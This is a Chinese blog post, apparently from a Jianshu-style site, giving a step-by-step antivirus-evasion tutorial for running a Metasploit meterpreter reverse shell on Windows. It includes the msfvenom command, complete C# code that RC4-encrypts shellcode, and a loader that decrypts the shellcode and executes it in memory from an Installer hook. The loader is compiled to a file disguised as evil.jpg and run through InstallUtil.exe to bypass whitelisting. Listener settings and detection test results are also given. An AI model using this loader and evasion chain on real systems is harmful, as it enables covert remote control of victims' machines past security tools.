记一则免杀技巧

前言

上篇文章SSH作内网穿透促进Cobalt Strike+Metasploit联动里提到了CS与MSF联动的场景

类似这种后渗透环境中,我一直在琢磨怎样才能神不知鬼不觉地执行一个meterpreter这种功能强大的Payload

网上关于免杀和隐蔽执行的思路与技巧有很多,本文记一下我当前在用的技巧

这次只考虑对抗静态查杀,行为分析和流量分析等等以后再聊

都知道仅仅用MSF对Payload进行编码的话,绝大多数杀毒软件都会报毒,特征码实在太明显了

这里介绍一种思路,主要用上了加密改后缀白名单的技巧

免杀流程

实验环境: win10 x64

msf生成C#格式shellcode -> 加密shellcode -> 解密并加载shellcode -> csc.exe编译成.jpg文件 -> InstallUtil.exe白名单执行

经测试,64位的payload可以成功编译,但是运行时出现问题:


图片.png

因此以下环境均选择32位程序进行测试

msf生成payload

msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=ip LPORT=6666 RC4PASSWORD=key -i 15 -b '\x00\' PrependMigrate=true PrependMigrateProc=svchost.exe -f csharp -o ./payload.txt
  • reverse_tcp_rc4这个payload利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥

  • PrependMigrate=true PrependMigrateProc=svchost.exe使这个程序默认会迁移到svchost.exe进程

  • -i 15 用特定编码器编码15次

  • -b 参数被设置的时候,它的值中描述的字符将会被避免出现在 Payload 中
    当这个参数被添加的时候,msfvenom 将会自动寻找合适的编码器来编码 Payload

加密shellcode

将上一步骤生成的shellcode植入下面的代码中

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;


namespace Payload_Encrypt_Maker
{ class Program
    {  
         // 加密密钥,可以更改,加解密源码中保持KEY一致就行
        static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
        static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
        static byte[] payload ={0x6b,0xa9};    // 替换成MSF生成的shellcode
      
        private static class Encryption_Class
        {
            public static string Encrypt(string key, string data)
            {
                Encoding unicode = Encoding.Unicode;

                return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
            }

            

            public static byte[] Encrypt(byte[] key, byte[] data)
            {
                return EncryptOutput(key, data).ToArray();
            }

           

            private static byte[] EncryptInitalize(byte[] key)
            {
                byte[] s = Enumerable.Range(0, 256)
                  .Select(i => (byte)i)
                  .ToArray();

                for (int i = 0, j = 0; i < 256; i++)
                {
                    j = (j + key[i % key.Length] + s[i]) & 255;

                    Swap(s, i, j);
                }

                return s;
            }

            private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
            {
                byte[] s = EncryptInitalize(key);

                int i = 0;
                int j = 0;

                return data.Select((b) =>
                {
                    i = (i + 1) & 255;
                    j = (j + s[i]) & 255;

                    Swap(s, i, j);

                    return (byte)(b ^ s[(s[i] + s[j]) & 255]);
                });
            }

            private static void Swap(byte[] s, int i, int j)
            {
                byte c = s[i];

                s[i] = s[j];
                s[j] = c;
            }
        }
        static void Main(string[] args)
        {
            byte[] result = Encryption_Class.Encrypt(KEY, payload);
            int b = 0;
            for (int i = 0; i < result.Length; i++)
            {   b++;
                if (i == result.Length+1)
                {Console.Write(result[i].ToString());}
                if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
            }
        }
    }
}

解密并加载shellcode

将上一步骤加密生成的shellcode植入下面的代码中

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;


namespace NativePayload_Reverse_tcp
{
      public class Program
    {
        public static void Main()
        {
        }
        
    }
    
    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
        Shellcode.Exec();
        }
        
    }
    class Shellcode
    {
        public static void Exec()
        {
            string Payload_Encrypted;
            Payload_Encrypted = "216,181";     // 替换上面加密生成的payload
            string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
            byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
            for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
            {
                byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
                _X_to_Bytes[i] = current;
            }
             // 解密密钥,可以更改,加解密源码中保持KEY一致就行
            byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };
            byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
            // 加载shellcode
            IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
            Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
            CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
            Thread.Sleep(2000);
        }        

        public static byte[] Decrypt(byte[] key, byte[] data)
        {
            return EncryptOutput(key, data).ToArray();
        }
        private static byte[] EncryptInitalize(byte[] key)
        {
            byte[] s = Enumerable.Range(0, 256)
              .Select(i => (byte)i)
              .ToArray();

            for (int i = 0, j = 0; i < 256; i++)
            {
                j = (j + key[i % key.Length] + s[i]) & 255;
                Swap(s, i, j);
            }

            return s;
        }
        private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
        {
            byte[] s = EncryptInitalize(key);

            int i = 0;
            int j = 0;

            return data.Select((b) =>
            {
                i = (i + 1) & 255;
                j = (j + s[i]) & 255;

                Swap(s, i, j);

                return (byte)(b ^ s[(s[i] + s[j]) & 255]);
            });
        }
        private static void Swap(byte[] s, int i, int j)
        {
            byte c = s[i];

            s[i] = s[j];
            s[j] = c;
        }      
        [DllImport("kernel32.dll")]
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
        [DllImport("kernel32.dll")]
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    }

CSC.exe编译

C# 在 Windows 平台下的编译器名称是 Csc.exe

上面两个步骤中的代码都可以用它来编译

加密步骤的代码编译后可以直接运行,解密步骤的代码编译后要通过installutil.exe执行

通常你可以在 C:\Windows\Microsoft.NET\Framework\xxxxx\ 目录中发现它们

为方便使用可以将该路径加入系统环境变量中

Command:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /unsafe /out:evil.jpg payload.cs
  • /unsafe: 允许"不安全"代码

生成最终落地的evil.jpg

图片.png

InstallUtil.exe白名单执行

Command:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U evil.jpg
  • /LogFile=[filename]: 向其中写入进度的文件。如果为空,则不写入日志。默认为<assemblyname>.InstallLog

  • /LogToConsole={true|false}: 如果为 false,则不向控制台输出。

图片.png

测试结果

https://www.virustotal.com在线查杀过程中

第一次上传的时候只有四五家查出毒来了

测试时,Windows Defender从文件生成到执行全程静默无任何反应

到这篇文章写完的时候,再测试

查杀结果:


图片.png

.jpg文件生成过程中Windows Defender也会报毒了

应该时测试过程中样本被捕获导致的

当然其中所用到的手法其实也都有先例

免杀这种东西放出来就不是免杀了,重点还是思路学习

Tips:

  • 关于CSC.exe和InstallUtil.exe两个文件默认安装位置:(注意x32,x64区别)

C:\Windows\Microsoft.NET\Framework\

C:\Windows\Microsoft.NET\Framework64\

  • 补充一些监听参数,防止假死与假session
msf exploit(multi/handler) > set exitonsession false   //可以让建立监听的端口继续保持侦听。可以接受多个session
exitonsession => false
msf exploit(multi/handler) > set EnableStageEncoding true   //将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀,使用rc4时可以不需要指定
EnableStageEncoding => true
msf exploit(multi/handler) >
msf exploit(multi/handler) > set stageencoder x86/fnstenv_mov
Stageencoder => x64/xor
msf exploit(multi/handler) > set stageencodingfallback false
stageencodingfallback => false
msf exploit(multi/handler) > exploit -j -z
  • 进一步免杀尝试更换编码方式,加密算法,对C#代码作混淆处理,还可以使用更加隐蔽的DNS通信方式,经测试免杀效果还是不错的
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 204,189评论 6 478
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 85,577评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 150,857评论 0 337
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,703评论 1 276
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,705评论 5 366
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,620评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,995评论 3 396
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,656评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,898评论 1 298
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,639评论 2 321
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,720评论 1 330
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,395评论 4 319
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,982评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,953评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,195评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 44,907评论 2 349
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,472评论 2 342

推荐阅读更多精彩内容